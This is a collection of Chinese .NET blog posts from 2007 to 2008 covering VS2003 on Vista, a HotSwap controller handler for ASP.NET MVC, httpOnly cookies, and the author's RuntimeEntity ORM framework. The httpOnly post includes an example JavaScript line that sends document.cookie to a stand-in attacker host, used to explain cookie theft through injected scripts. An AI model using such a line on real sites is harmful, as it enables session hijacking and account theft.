|
|
2008年01月24日
虽然是小事情,不过也在这里说一下.
最近因为工作的问题,新买了一台SONY的笔记本.
现在的笔记本都是安装VISTA的, 想安装XP吧, 还找不到硬盘.
而且因为没有软驱, 所以安装时也弄不了硬盘驱动.
这个问题只好以后有空的时候解决了.
现在用VISTA安装了VS2003后, 出现了一个很严重的问题.
使用FIND IN FILES功能时, VS2003会停止响应.
上网找相关信息, 有人已经报告这个问题了.
不过MS说不管VS2003了.
后来发现了另外一台VISTA的电脑不存在这个问题.
以对比原来是WINDOWS THEMES的问题.
只要把WINDOWS外观, 改成比较难看的标准模式,(就像WIN2000那样..)
就能把问题解决掉了.
希望这个记录对VISTA下用VS2003的同行有帮助.
2007年12月11日
让 ASP.NET MVC 支持 HotSwap
下载这次的例子代码 [ http://www.cnblogs.com/Files/Lostinet/Asp35Website1.zip ]
在HowToStart那帖中,我提到了ASP.NET MVC的问题 : 如果修改一次Controller的代码,就导致ASP.NET重启一次 , 那么会不会很麻烦?
有时候一个项目大一点, ASP.NET启动一次需要几十秒, 那样的等待真的很浪费时间.
与思归的交谈中, 他提到了HotSwap的概念. "热插拔" - 编写代码后不需要重新编译或重启ASP.NET.
怎样实现这个功能呢? 现在MVC的文档很少. 只能通过Reflector去找答案了.
一个Request,从Url, 一直到了具体的 Controller , 经过了那些步骤呢?
下面列出了这个步骤的详细: 1. Url 2. RouteTable 3. MvcRouteHandler 4. MvcHandler 5. ControllerBuilder 6. ControllerFactory 7. Controller
这个过程中, MvcRouteHandler 是连接 RouteTable 和 MvcHandler 的桥梁.
MvcHandler则根据传递过来的信息, 根据某种规则, 从所有的Assembly中找到对应的Controller类
然后把类型信息传递给 ControllerBuilder/ControllerFactory , 用于指定一个更具体的Controller. (类似RuntimeEntity那篇文章说的子类化模式..)
看来, 需要对MvcHandler下手了. 而 MvcRouteHandler 则就是 MvcHandler 的 Factory.
所以同时也要编写MvcRouteHandler的实现 : public class HotSwapMvcRouteHandler : System.Web.Mvc.MvcRouteHandler { protected override IHttpHandler GetHttpHandler(System.Web.Mvc.RequestContext requestContext) { HotSwapMvcHandler handler = new HotSwapMvcHandler(); handler.RequestContext = requestContext; return handler; } } public class HotSwapMvcHandler : System.Web.Mvc.MvcHandler { protected override Type GetControllerType(string controller) { string name = controller + "Controller"; string file = "~/Controllers/" + name + ".cs"; if (!System.IO.File.Exists(HttpContext.Current.Server.MapPath(file))) return base.GetControllerType(controller); System.Reflection.Assembly assembly = System.Web.Compilation.BuildManager.GetCompiledAssembly(file); return assembly.GetType(name, true, true); } }
上面2个类, 写在App_Code里就OK了, 然后, 需要修改一下 RouteTable 的写法: RouteTable.Routes.Add(new Route { Url = "[controller]/[action]/[id]", Defaults = new { action = "Index", id = "" }, RouteHandler = typeof(HotSwapMvcRouteHandler) });
注意一下 , RouteHandler由MvcRouteHandler替换成 HotSwapMvcRouteHandler 了. 这样HotSwapMvcRouteHandler的代码就能够被执行, 返回HotSwapMvcHandler
HotSwapMvcHandler 这里得到了一个 controller 的参数, 就是它了. 我们要做的事情,就是根据它 , 找到我们想要的 Controller
上面的GetControllerType的具体实现也实在太简单了. 如果存在 ~/Controllers/XxxControler.cs 就编译它, 然后直接返回 XxxController 类型. 否则就按传统的方式去寻找对应的类.
----
OK , 就这样2步, 就实现了在 ~/Controllers/ 中存放Controller代码的目的了. 重温一下这2步: 1. App_Code中增加 HotSwapMvcRouteHandler , HotSwapMvcHandler 2. Global.asax中修改RouteTable的定义
然后,就可以在 ~/Controllers/ 下增加 TestController.cs , 内容是 public class TestController : Controller { [ControllerAction] public void Index() { ViewData["typename"] = this.GetType().AssemblyQualifiedName; ViewData["version"] = "version5"; RenderView("index"); } }
然后创建对应的 ~/Views/Test/index.aspx 把东西显示出来: index.aspx <hr /> <%=ViewData["version"] %> <hr /> <%=ViewData["typename"] %> <hr /> <%=Application["mystr"] = "1" + Application["mystr"]%>
显示: version5 -------------------------------------------------------------------------------- TestController, App_Web_testcontroller.cs.39ee6e8a.c0bebgfm, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -------------------------------------------------------------------------------- 111
不断地刷新它, Application["mystr"]就会越来越长.
然后去修改 TestController.cs 把. 把ViewData["version"] = "version123"; 那么就会立刻生效, 显示version123,而Application["mystr"]没有重置, 证明ASP.NET并没有重启.
想提高开发的方便性的朋友 , 不妨试试上面的代码.
2007年12月10日
有没有人下载了ASP.NET MVC ?
无法知道如何开始.
用VS Web Developer Express 2008,有项目模板 [ASP.NET 3.5 Extensions Web Site],
新建了,只有一个web.config里包含了一些必要的配置. 例如UrlRoutingModule.
建立了Controllers目录,建立了一个TestController类
然后建立Views目录,在下面继续建个Test目录.
然后浏览http://localhost:3759/Asp35Website1/Test/. 很不幸. 无法找到资源.
不知道还需要配置些什么. 请大家在这里聊聊.
2007年11月10日
自从IE6 SP1起 , 这个浏览器就支持cookie的httpOnly属性.
这个属性, 告诉浏览器, 使用 window.document.cookie 不允许访问该cookie .
而在ASP.NET2.0中 , 这个属性也得到了支持, 并且在FormAuthentication中指定该属性.
但是,FireFox等浏览器, 并不支持该属性. 那么这个带来什么后果?
例如 , 假如你用FireFox登录博客园(www.cnblogs.com), 然后到一个恶意的用户的文章去.
你知道cnblogs.com允许用户随意增加javascript的.
那么该用户就能得到你的cookie,然后用一个简单的方法,把你的cookie发送到他的数据库去:
hiddenImg.src="http://hackyourlogininfo.com/savecookie.aspx?cookie="+escape(document.cookie)
当然,ASP.NET发送给客户端的信息是加密过的.
但是别人可以直接通过伪造COOKIE,直接使用该cookie,以你的身份登录博客园.
所以 - 用FireFox登录博客园类似的网站, 你的帐户信息随时会被盗.
但是如果使用IE6SP1,IE7,就不会存在该问题.
因为它支持httpOnly,所以使用document.cookie并不能取得ASP.NET的登录信息.
RuntimeEntity除了简单易用,性能优越之外. 还有一些很有特色的机制: 负载平衡下的缓存版本控制.
通常如果一个使用缓存的应用程序,都会遇到一个问题: 如何保证每个进程的缓存都是最新的? 如果每个进程中的数据不是最新,那么一个应用程序将会发生不可预知的错误. 这种不稳定性是会让人睡不了觉的. 通常一些系统会有这样的做法: 1.完全不做缓存的同步或检查 , 错误就错误, 由它. 有时候这种做法也是无奈的,因为项目资金有限,或者架构上已经定型.不好处理. 2.使用分布式架构, 用一台服务器访问数据/或者缓存数据. 这个做法的最大问题就是导致序列化的开销. 大大地降低系统性能. RuntimeEntity使用一种特殊的缓存方案. 具体的原理是,在每台服务器上, 都自行存放数据. 当服务器上的代码通过RuntimeEntity加载数据时, RuntimeEntity会去向"版本服务器"查询数据的版本. 也就是说,这个方案和分布式缓存最大的不同就是 , 每台服务器需要较大的内存 , 但是只进行极少的数据通信, 完全避免序列化. 这个方案通过配置完成. 完全不需要改动代码. 使用RuntimeEntity编写一次代码 , 就轻易实现在性能方面的伸缩性要求. 数据库服务器端并发检查
RuntimeEntity提供了2个级别的并发检查. 默认是应用程序进程内的对象的自动锁定,尽量避免并发问题. 一旦出现数据的并发错误,就会抛出异常,阻止错误的操作,保证数据的正确性. 这种级别的并发检查, 适合部署在单进程的Web服务器中. 一旦需要部署在多个服务器中进行负载平衡 , 那么单靠进程内检查是远远不够的. 所以RuntimeEntity提供了,和DLinq类似的, 数据库服务器端的并发检查. 一旦要进行UPDATE/DELETE,就会发送所有的本地数据到数据库上进行比较. 这个操作会稍微降低性能. 但是它是可选的. 只需要进行配置就OK. 无需额外编码. 开发人员还可以使用Timestamp类型进行更好的检查机制. (在数据表加一个Timestamp字段就OK了,无需编码) 这个也是数据库服务器端的检查,而且性能更好. 强大的子类化扩展方案当一家软件公司希望开发通用的应用程序时, 总会遇到一个问题: 如何在不修改现有代码的情况下,改变系统的默认行为,针对具体情况进行扩展? RuntimeEntity在不改动代码的情况下, 直接提供一个子类化的扩展方案. 具体原理就是RuntimeEntity的代码编写中, 是不存在new MyRecord()这样的创建对象的方式的. 任何NewRow,LoadRow操作创建对象,都是由RuntimeEntity代理. 当进行适当的配置后, 在执行例如RuntimeEntity.NewRow<MyEntity>()的时候, RuntimeEntity就可以根据配置, 创建一个 MyAnotherEntity 对象: public abstract class MyAnotherEntity : MyEntity { override public void MyLogic() { base.MyLogic(); MyCustomOperation(); } } 就如上面代码所示 , 通过override一个业务方法 , 直接就可以重写业务逻辑. 灵活,高性能的AOP方案RuntimeEntity在运行的时候, 根据配置, 允许其他类拦截Entity上的virtual的方法. 这个功能非常有用. 尤其当架构师想实现一些插件,扩展功能的时候. 当一个Entity的任何virtual方法被调用,或者是进行INSERT/UPDATE/DELETE的时候, 都能通过配置的方式,让扩展的代码得到通知,获取改变参数/返回值. 而这个功能的实现方式, 是在运行时进行编译, 性能非常高. 而又无需安装VS插件之类的. - - - - - - - - 这些高级的功能, 大多都是可以在运行时进行扩展. 而不需要改变编码规则. 这也是RuntimeEntity的名字的来由. RuntimeEntity Preview 中并不包含以上所列的功能.
2007年11月09日
之前发过3个相关的文章: AbstractRecord 预告. (关键字 ORM,ActiveRecord,DomainModel)CSPAbstractRecord之Teddy's KB样式的性能报告.近况:AbstractRecord改名为RuntimeEntity,以及一个MVC框架的预告.因为最近比较忙. 所以一直没有继续做那个工程. 现在稍微空闲了些. 所以把之前做的版本整理了一下. 提供下载: /Files/Lostinet/RuntimeEntityPreview.rar压缩文件内容简介: RuntimeEntityPreview.dll 这个dll就是框架的运行库. RuntimeEntityGenerator 使用这个帮助生成对应的类.(不是必须) RuntimeEntityPetshop 一个可以执行运行的例子. 根据PetShop改编. 需要关联 Database文件夹内的数据库文件. RuntimeEntityStart 一个中文描述的Console程序. 用于帮助读者最快速度了解RuntimeEntity.什么人该下载它 ? 一 : 看过之前的文章的,感兴趣的,想测试一下性能的. 二 : 自己也写过数据库访问框架的,可以拿来对比一下. 三 : 一直都没找到合适自己的数据库访问框架的. 四 : 总觉得数据库访问框架很复杂,想学习又怕难的. ...
RuntimeEntityPreview有什么好玩的? + : 极简单的代码编写与定制模式. 虽然比不上SubSonic方便,但是比SubSonic拥有更多的定制能力. + : 极高性能的实现. 欢迎拿去与各种情况做性能的比较. + : 有自制的Linq Provider. 可以执行这样的代码: var q = from row in Order.LinqSource where row.Customer.City.Substring(3).Trim().StartsWith("don") select row; 有兴趣的可以考虑用Reflector打开RuntimeEntityQuery<T>.QueryProvider研究一下. + : 支持DLinq. 通过实现MappingSource,用DLinq来访问数据库: (但是目前RuntimeEntityMappingSource没有包含在RuntimeEntityPreview内)
关于更加具体的,如何使用这个RunimeEntity,可以参考AbstractRecord预告那篇文章. 或者参考这篇还没有开始写的文章: [占个位置 , 如何使用RuntimeEntity访问数据库]
另外我们正在找有一年经验以上初中级的界面程序员: CuteSoft珠海办事处诚招2位界面程序员
2007年10月11日
AbstractRecord这个名字不是很好,因为我不是太喜欢AEIOU开头的名词. 所以我选择了一个在google上,记录很少的名字,作为这个数据库访问框架的名字:RuntimeEntity 这个框架远在8月份就已经完成了一大半.然后就停止了.因为这段时间无论是工作还是生活,都有更加重要的事情要做. 这个星期将完成那些重要的事情,我会用业余的时间,整理一下RuntimeEntity,然后发布一个预览版本.
这次写BLOG,完全是受微软ASP.NET MVC的刺激. 微软的新的MVC框架, 似乎抛弃了ASP.NET控件,抛弃了ASP.NET AJAX. 回归到纯粹Render HTML的地步.我完全无法理解微软的这个做法.
当然,在那个MVC中,程序员仍然可以用XmlHttpRequest,或者其他封装好的框架去进行AJAX, 但是ASP.NET AJAX呢?没有回发,这不止否认了ASP.NET AJAX,甚至还否认了ASP.NET本身.
微软这么大的公司,难道就没有一条兼容控件和ASP.NET AJAX的做法吗? 甚至沦落到被人骂是抄袭也在所不惜? 新的MVC框架出来了对ASP.NET又有什么意义? 为了变相承认,ASP.NET的控件模式已经不适合WEB的发展了?
请大家宽恕我对MS这么严厉的指控. 我的目的纯粹是想突出我的MVC框架的特色 : 支持控件的模板引擎. 其实当初, 我做的不是MVC, 而只是需要实现一个模板引擎, 用于把视图分离出来, 方便美工. 和网上的其他模板引擎是类似的, 利用PropertyBag和后期绑定, 把内容显示出来. 不同的地方只是语法方面很针对美工的编程水平, 做到条件和循环语句非常简单和适合WYSIWYG.
但是我把我的设计推荐给老板时, 一下就被否决了 : ASP.NET控件怎么办 ? 是的. 如果一个新的东西, 抛弃了太多成熟的技术, 那么固然这个新东西的设计可以更加自由. 但是这个新的东西, 能让人接受吗? 如果微软做一个, 那么依然会有很多人追捧. 再难也会有人接受. 但是像我这样微不足道的人, 要推广自己的技术, 就不是那么简单了.
就像MS内某位语言大师说的一样, DotNet在设计的时候, 为了兼容老的程序, 为了和不同程序之间的整合, 提供了很多"救生圈". DotNet的Interop就是一个很好的例子.
当我做RuntimeEntity的时候,提供了SQL语句的支持,就有人质疑了. 要分清楚的是,搞科研和搞工程是2回事. 现在我要做的东西,一定要是一种过渡的方案,既提供新的功能,又要和老功能兼容.
综上,我对我的模板引擎进行了革新. 让它支持ASP.NET的Control,Postback和AJAX.
其实其中的原理, 是非常简单的. 换个说法, 如果把这个引擎,说成是 "Layout", 我想会更加容易让人理解.
看看传统的ASP.NET页面 : Test.aspx: <table> <tr><td>Username:</td><td><asp:TextBox runat=server ID=Username></td></tr> <tr><td>Password:</td><td><asp:TextBox runat=server ID=Password></td></tr> <tr><td> </td><td><asp:Button runat=server ID="LoginBtn" Text="Login"></td></tr> </table>
新的Layout方案: Test.aspx: <asp:TextBox runat=server ID=Username> <asp:TextBox runat=server ID=Password> <asp:Button runat=server ID="LoginBtn" Text="Login">
Test.view.html: <table> <tr><td>Username:</td><td>{#render Username}</td></tr> <tr><td>Password:</td><td>{#render Password}</td></tr> <tr><td> </td><td>{#render LoginBtn}</td></tr> </table>
新的方案把一个ASPX文件, 分割出另外一个html,用于装载Layout. 可以看到的是, 新的Test.aspx本身,已经完全没有排版了. 里面纯粹就是放置大量程序用到的控件. 而在Test.view.html,则定义了这个页面的布局.
把控件Render到Template中,就是这个MVC方案兼容ASP.NET的核心思想.
做到这一步,这个MVC框架就和其他的纯粹生成HTML的框架完全不同了.
1. 如何支持MasterPage? Test.view.html的输出过程是这样的: Page.Render -> MasterPage.Render -> MVC.Render -> 整合Test.view.html+控件 也就是说,这个模板的输出目标, 不是Response, 而是控件Render过程中的一个部分. 这个部分的内容被MasterPage包围着, 所以能很方便地应用上MasterPage.
2. 如何做到回发? 回发和回发后调用控件的事件,是ASP.NET最重要的思想. 也是我不能离开ASP.NET的原因. 其他的所谓[ControllerAction],都不会比这个方便.因为ViewState能传递很多东西,而QueryString不能. 就如MasterPage的流程一样,控件被Render出去后,是和ASP.NET的回发机制兼容的. 当页面回发时,ASP.NET的其他基础流程依然能正常运作. 换个角度来说,这个MVC框架处理的只是Render的过程,改变了控件在浏览器上的位置. 这完全不会对ASP.NET的页面生命期造成任何影响.
3. 如何支持ASP.NET AJAX? ASP.NET AJAX不愧是一种优秀的局部SmartNaviagtion方案. 它让程序员不需要花精力到DHTML中就能实现界面的局部刷新. 它的实现的机制,是通过拦截Page的Render过程,提取需要刷新的内容来返回给客户端. 这样一来,它就和我的MVC冲突了 : 2个都尝试拦截Render过程的东西, 又怎能放在一起工作 ? 这个MVC能支持AJAX的原因是, MVC拦截的不是Page,而只是内部一个控件的Render过程. 过程是 : AJAX-Page.Render -> Form.Render -> UpdatePanel.Render -> MVC.Render 可以看到的是, MVC.Render的过程, 是被包在UpdatePanel的Render里. 所以MVC生成的内容, 能够通过AJAX发送到客户端, 更新客户端的HTML.
--- 其实这帖与其说是介绍帖,还不如说是技术研究帖. 希望能给各template的开发者一个新的思路.
2007年08月15日
最近我在做一个开发框架以及在上面建立的应用程序. 开发框架中包含了一个叫 AbstractRecord 的技术. 这个技术用于访问数据库,但是我不愿意把它称为ORM.
这个东西将能够大大地提高基于数据库的程序的开发速度.
由于篇幅太长,我放到文章区去了.
http://blog.joycode.com/lostinet/articles/107276.aspx
http://www.cnblogs.com/Lostinet/archive/2007/08/15/857039.html
# 前言:数据库交互之路
还记得以前在ASP时代,虽然VB/JS是基于对象的, 但是那时做网页的编程, 基本不会去声明对应数据库的格式的类. 当时的编程方式就是, 用ADO的RecordSet去读取数据. RecordSet可以说是一个集合类. 提供了最简单的, 基于字段名读取数据的Indexer. 例如 <%=rs("CustomerName")%> 这样的语句,也许大家都不会觉得陌生. 如果要进行INSERT/UPDATE/DELETE, 那么就需要手动写SQL了. 那时纯粹是传递一条SQL语句. 这个语句是需要程序员自己构造的. 如果一个表有几十个字段, 那条语句写下来, 单单是双引号和单引号就能让人觉得头晕. 好在,我在ASP上, 只工作了8个月. 就转去ASP.NET了.
ASP.NET下,我们有全新的ADO.NET. 那时基本都是从DataSet开始的. 因为它实在和RecordSet很像. 当时只是觉得语法有点不同而已. 重要的一点是, SqlDataAdapter能够执行INSERT/UPDATE. 也就是说, 我可以把一条记录Load下来, 然后修改其中的某些属性, 然后再更新回去. 这个过程并不需要写很长的SQL语句. 出错的机会很少.
相比ASP时代. ADO.NET已经是救世主了. 当时的我, 并不觉得DataSet有什么不好的.
后来ORM在网上热起来. 我突然发觉row["CustomerName"]是个很笨的方法. 在我的桌子旁边, 总有一张数据表结构的印刷版. 当我要操作某张表, 我就把那张纸拿出来对照. 那实在是很麻烦. 我也慢慢体会到那种强类型的对象编程的好处. 不是虚拟继承的好处, 而是当我在vs.net上打一'.'的时候,属性就会被列出来了.
是的,我并不关心面向对象有什么好处. 我只希望我的编程工作能简单点,尽量少出错. 可惜那时候的ORM框架并没有解决一些问题. 有些要我先设计对象,然后自动生成数据库. 有些则需要写一大堆的xml文件. 有些生成工具, 要不断地执行用于更新代码. 我自己后来也实现了自己的生成工具, 不过效果也不太理想.
后来的一段时间, 我没有去弄那些东西了. 我采用POCO的方案. 老老实实地把数据从SqlDataReader复制到POCO去. 插入和更新的时候, 老老实实地写那种很长的语句. 这个方案其实已经比DataSet好很多了. 起码数据是强类型的对象, 在VS.NET下有提示. 而SqlScope也帮我省了很多代码.
后来我渐渐过渡到一种简单的DomainModel+DomainService的方案.我把对象的属性都弄成ReadOnly,把数据都改为internal. 这样就能保护我的数据的逻辑. 这个模型一直用到现在.
世界在发展,编程的模式不会一成不变. . 在我离开CSDN后,我曾经有一段时间脱离社区. 当我回头时, 才发现自己已经脱离编程世界好久似的. 我充满恐惧, 恐怕被变化所抛弃. 于是我重新返回社区. 先是潜水, 去读博客, 了解这个世界这今年来技术有什么更新. 博客园帮了我很多. 像博客园里很多人都自己做了一套ORM的实现, 正是对以往的数据库操作模型的的不满. 而我也深受他们的影响. 我想起了以前写的文章 <<用 System.Reflection.Emit 自动实现调用存储过程的接口>> http://blog.joycode.com/lostinet/archive/2004/11/19/39238.aspx . 我决定沿用那个方式, 去实现一个全新的ORM.
# AbstractRecord的基本概念
一开始是这样的, 我想用interface来表示一个数据库的记录. 例如
[Table("Employees")]
public interface Employee
{
string EmployeeName { get;set;}
}
后来经过思考, 根本没必要做成interface, 而换成abstract class, 能添加用户自定义的代码, 那样会更好:
[Table("Employees")]
public abstract partial class Employee
{
public abstract string EmployeeName{get;set;}
}
后面会有一些篇幅去描述作为abstract class的好处.
这个编写类型的方式, 不是普通的POCO或者DomainModel. 它也不是Active Record,因为它不需要集成某个基类. 后来我发现它连 ORM 都不是. 因为不存在Mapping这个东西. 它负责的就是读写数据库而已. 也就是说, 它针对的是数据库方面, 而不是对象逻辑方面.
我自己给了它一个新的名字 : "Abstract Record" .
下面直接给出一个例子, 描述AbstractRecord框架下编程的第一印象:
拿Northwind数据来说 , 定义方式:
[CSPAR("Categories")]
public abstract partial class Category
{
public abstract int CategoryID { get;}
public abstract string CategoryName { get;set;}
public abstract string Description { get;set;}
}
是的, 就这样, 就足够了. 无需编写配置文件, 也无需定义太多的Attribute, 也不需要定义字段, 然后傻傻地get和set.
既然是abstract, 不需要写实现代码了? 不需要. 这就是AbstractRecord的核心思想. 由框架去帮你实现.
那么,这样的对象,是无法new Category()的, 怎样实现CRUD操作?? 下面是说明的代码(ASP.NET):
//下面是CreateCategory.Aspx的内容
protected void ButtonCreate_Click(object sender, EventArgs args)
{
Category cate = CSPAbstractRecord.NewRow<Category>(); //实例化一个抽象类!
cate.CategoryName = textBoxName.Text;
cate.Description = textBoxDescription.Text;
CSPAbstractRecord.Save(cate); //INSERT
Response.Redirect("EditCategory.Aspx?CategoryID=" + cate.CategoryID); //自动得到自增的id.
}
上面的代码,描述了如何创建一个abstract class的实例. CSPAbstractRecord正是负责控制CRUD的类.
CSPAbstractRecord是AbstractRecord在我的那个系统上的实现. 开发人员只需要学习2个类, 就能够完成绝大部分的事情了!
//下面是EditCategory.Aspx的内容
protected Category _category;
protected void EnsureCategory()
{
if (_category != null) return;
int id = int.Parse(Request.QueryString["CategoryID"]);
_category = CSPAbstractRecord.LoadRow<Category>(id); //SELECT
if (_category == null) throw (new Exception("没有该数据或者数据已经被删除!"));
}
protected override void OnLoad(EventArgs args)
{
base.OnLoad(args);
if (IsPostBack) return;
EnsureCategory();
//初始化界面
textBoxName.Text = _category.CategoryName;
textBoxDescription.Text = _category.Description;
}
protected void ButtonUpdate_Click(object sender, EventArgs args)
{
EnsureCategory();
_category.CategoryName = textBoxName.Text;
_category.Description = textBoxDescription.Text;
CSPAbstractRecord.Save(_category); //UPDATE
}
protected void ButtonDelete_Click(object sender, EventArgs args)
{
EnsureCategory();
CSPAbstractRecord.Delete(_category); //DELETE
Response.Redirect("CategoryList.Aspx");
}
上面的代码,使用了CSPAbstractRecord.LoadRow和CSPAbstractRecord.Delete去进行SELECT和DELETE的操作.
由上面的代码可以看出, AbstractRecord是非常容易使用, 而且, 代码量非常少. 短短几行, 就已经完成CRUD的操作界面. 我实在是想不出能比这种方式更节省代码的方式了.
使用AbstractRecord编程的重点:
1. 用极少的代码去定义类型化数据的抽象类.
2. 使用CSPAbstractRecord.NewRow/LoadRow/Save/Delete进行CRUD的操作.
# 封装数据
传统的POCO或贫血的DomainModel都有一个共同点, 就是所有的属性, 都是 get;set 的. 能得到那些对象, 就能随意更改属性, 甚至会破坏应用程序的逻辑. 如果是小型的应用, 业务逻辑简单, 那无所谓. 但是如果是一个复杂的系统, 那么保护数据不被滥用 , 是非常重要的事情. 这个,是很多ORM或相关框架无法做到的.
AbstractRecord允许程序员把数据成员定义为protected或者是protected internal. 这就是封装的根本实现方案.
就上面那个Category的例子, 里面有一个Picture字段. 通过数据的封装, 可以实现类型的转换:
public abstract partial class Category
{
protected abstract byte[] InternalPicture { get;set;}
public System.Drawing.Image Picture
{
get
{
if (InternalPicture == null)
return null;
return System.Drawing.Image.FromStream(new System.IO.MemoryStream(InternalPicture));
}
set
{
if (value == null)
{
InternalPicture = null;
return;
}
System.IO.MemoryStream ms = new System.IO.MemoryStream();
value.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg);
InternalPicture = ms.ToArray();
}
}
}
上面的代码 , 一个是 abstract 的 InternalPicture. 这个属性被读写时, 反映的是数据库字段的读写. 而 public System.Drawing.Image Picture 并不是abstract的, 它通过InternalPicture,实现外部数据类型和数据库类型的转换. 这是程序员自定义的代码, 也就是为什么我使用abstract class, 而不是interface的原因.
(TIPS: 我们还可以定义这样的属性: public abstract string MyField { get;internal protected set;} 这种属性能被外部读取, 但只能在同assembly的范围内修改.)
基于这种形式的数据封装, 程序员甚至可以把所有的数据属性都定义为protected或protected internal. 然后提供一个公共的方法, 或者是使用另外的一个DomainService去修改那些数据. 业务逻辑就这样被保护起来了.
# 关系处理
关系处理一直是ORM的难题. 因为基于POCO的ORM, 它要帮你填充所有相关的数据, 不能实现LAZY LOAD. 而有些能实现的呢? 则需要很多定义. 或者要继承某个基类, 然后调用基类的方法去取得相关数据.
AbstractRecord使用一种基于数据库定义的关系去生成相关对象的实现. 在关系的处理上, 很简单:
[CSPAR("Order Details")]
public abstract partial class OrderDetail
{
public abstract Order Order { get;}
public abstract Product Product { get;}
}
就是这样,当程序员定义一个abstract的,返回其他相关类型的属性, 就已经完成了多对一关系的定义了. 无需写更多的代码. 无需定义Attribute或者是xml文件.
那么一对多呢?
[CSPAR("Orders")]
public abstract partial class Order
{
public abstract OrderDetail[] Details { get;}
}
当返回值改为相关对象类型的数组是, 就是多对一的情况. 一对多,和多对一的定义, 是独立的.少了哪个都可以 .
剩下的就是 多对多的"难题"了. 也许你看到下面的代码, 都会惊叹原来多对多是那么地简单:
[CSPAR("Orders")]
public abstract partial class Order
{
public abstract OrderDetail[] Details { get;}
public Product[] Products
{
get
{
return Array.ConvertAll<OrderDetail, Product>(Details, delegate(OrderDetail d) { return d.Product; });
}
}
}
[CSPAR("Products")]
public abstract partial class Product
{
public abstract OrderDetail[] Details { get;}
public Order[] Orders
{
get
{
return Array.ConvertAll<OrderDetail, Order>(Details, delegate(OrderDetail d) { return d.Order; });
}
}
}
上面的代码, 使用一对多和多对一的属性, 再使用一次 Array.ConvertAll , 就实现了多对多. (其实数据库的多对多实现也是通过一对多组合而成的. )
# 数据库查询
很多人不喜欢ORM, 是因为大多的ORM框架, 都企图让数据库变得透明. 甚至是弄出HQL之类的语法去统一数据库查询方案. 其实这是软件发展的一个方向. 但不见得是程序员所希望的.
CSPAbstractRecord设计的时候, 就和数据库紧密相连, 并且能与传统的数据库查询相结合.
先看看CSPAbstractRecord是如何进行简单查询的:
查询存货不足的产品:
Product[] products = CSPAbstractRecord.All<Product>().Where("UnitsInStock<{0}", 10).OrderBySql("ProductName", false);
实际上UnitsInStock<{0}就是一条SQL语句. 而CSPAbstractRecord会把{0}换成@p1_1这样的形式去查询SqlServer.
根据Category查询Product:
Product[] products = CSPAbstractRecord.All<Product>().Where("CategoryID IN (SELECT CategoryID FROM Categories WHERE CategoryName={0})", category).OrderBySql("ProductName", false);
或者是组合起来:
Product[] products = CSPAbstractRecord.All<Product>().Where("UnitsInStock<{0}", 10).Where("CategoryID IN (SELECT CategoryID FROM Categories WHERE CategoryName={0})", category).OrderBySql("ProductName", false);
实际上, 使用IN/EXISTS就能实现INNER JOIN的功能了. 甚至在子查询内使用聚合:
Order[] orders=CSPAbstractRecord.All<Order>().Where("OrderID IN (SELECT OrderID FROM [Order Details] GROUP BY OrderID HAVING SUM(UnitPrice*Quantity)>{0} )", 10000);
如果你曾经研究过INNER JOIN,IN,EXISTS的区别, 你就会明白数据库会对这些查询进行优化. 三种方案的性能是一致的.
数据分页: AbstractRecord还带一个高性能的分页方式:
Product[] products = CSPAbstractRecord.All<Product>().Where("UnitsInStock<{0}", 10).OrderBySql("ProductName", false).GetRange(start, pagesize, out allcount);
输入开始位置(例如pageindex*pagesize),要取回的记录数(pagesize),就能返回符合要求的记录,并且返回所有记录数.
就这样的一个GetRange方法, 就能满足目前ASP.NET开发的分页需求了.
如果上面的查询依然不能满足你的需要, 还可以使用CSPAbstractRecord.BatchLoadRows方法:
object[] productid=......//用自定义的方法去取得ProductID列表
Product[] products = CSPAbstractRecord.BatchLoadRows<Product>(productids);
上面的,都是基于SQL的查询方案. Where方法还可以指定Predicate<T>来选择符合要求的记录:
Product[] products = CSPAbstractRecord.All<Product>().Where("UnitsInStock<{0}", 10).Where(delegate(Product p) { return p.Details.Length>10 });
这种查询,先优先执行SQL,然后把所有符合SQL的数据返回,在本地进行CLR的筛选. 其实内部只是简单地使用Array.FindAll<Product>()方法去筛选而已.
因为要加载所有数据, 所以只适合小记录的表. 或者是肯定SQL语句能排除大部分记录的情况下使用.
查询时的排序:
上面的方式使用了 .OrderBySql("ProductName", false); 来进行SQL的排序.
CSPAbstractRecord还支持使用 Comparison<T> , Comparer<T> 进行排序:
Product[] products = CSPAbstractRecord.All<Product>().Where("UnitsInStock<{0}", 10).OrderBy(delegate(Product d1, Product d2) { return d1.Supplier.CompanyName.CompareTo(d2.Supplier.CompanyName); });
这种方案会加载所有相关的Supplier. 如果不想加载相关的对象, 还可以使用OrderByKey方法:
IDictionary dict = SqlScope.ExecuteDictionary("SELECT ProductID,CategoryName FROM Products INNER JOIN Categories ON Products.CategoryID=Categories.CategoryID");
Product[] products = CSPAbstractRecord.All<Product>().Where("UnitsInStock<{0}", 10).OrderByKey(delegate(object k1, object k2)
{
string n1 = dict[k1] as string;
string n2 = dict[k2] as string;
return string.Compare(n1, n2);
}, false);
上面的例子使用ProductID作为Key,找出相关的数据,然后用相关数据进行排序.
这个方法看上去和
Product[] products = CSPAbstractRecord.All<Product>().Where("UnitsInStock<{0}", 10).OrderBy(delegate(Product p1, Product p2)
{
string n1 = dict[p1.ProductID] as string;
string n2 = dict[p2.ProductID] as string;
return string.Compare(n1, n2);
}, false);
没两样.
但实际上OrderBy(delegate(Product p1, Product p2)的方案会加载所有符合Where的Product, 而OrderByKey则不需要. 在使用GetRange分页的情况下, OrderByKey会先对主键进行分页, 然后才加载符合分页的 Product, 明显性能会高很多.
# 性能问题
CSPAbstractRecord内部实现了2级的缓存. 这个会对多对一,一对多,多对多的关系起到非常重要的作用. 不过因为这个实现是透明的, 程序员完全不用去理解其内部实现机制. 这里就省略了.
而对数据库的读写操作, 是完全的强类型. 可以断定的是, AbstractRecord 比 DataSet 要快!
总结:
Abstract Record在开发模式上的创新和其灵活的特点, 能极大提高开发速度. 但这篇文章只是作为预告, 而CSPAbstractRecord是直接集成到另外一个项目中. 所以目前不会提供任何下载. 估计能提供下载的时间是国庆之后.
下面是我临时写的CSP的Feature列表:
CSP.AbstractRecord的特点:
- 极简单 -开发人员只需要了解1 个类的静态方法就OK了. 不需要去明白架构设计接口之类的.
- 轻量级 -用数据库的定义去决定代码. 维护方便.
- 强类型 -数据储存为强类型字段,读写数据并不使用反射.
- 零实现 -你无需再定义字段,和编写属性的get;set;的实现
- 可扩展 -通过实现自定义的属性和方法,去得到通知或改变默认的行为.
- 零配置 -你无需为映射设置配置文件. 而数据库配置工作,由CSP完成
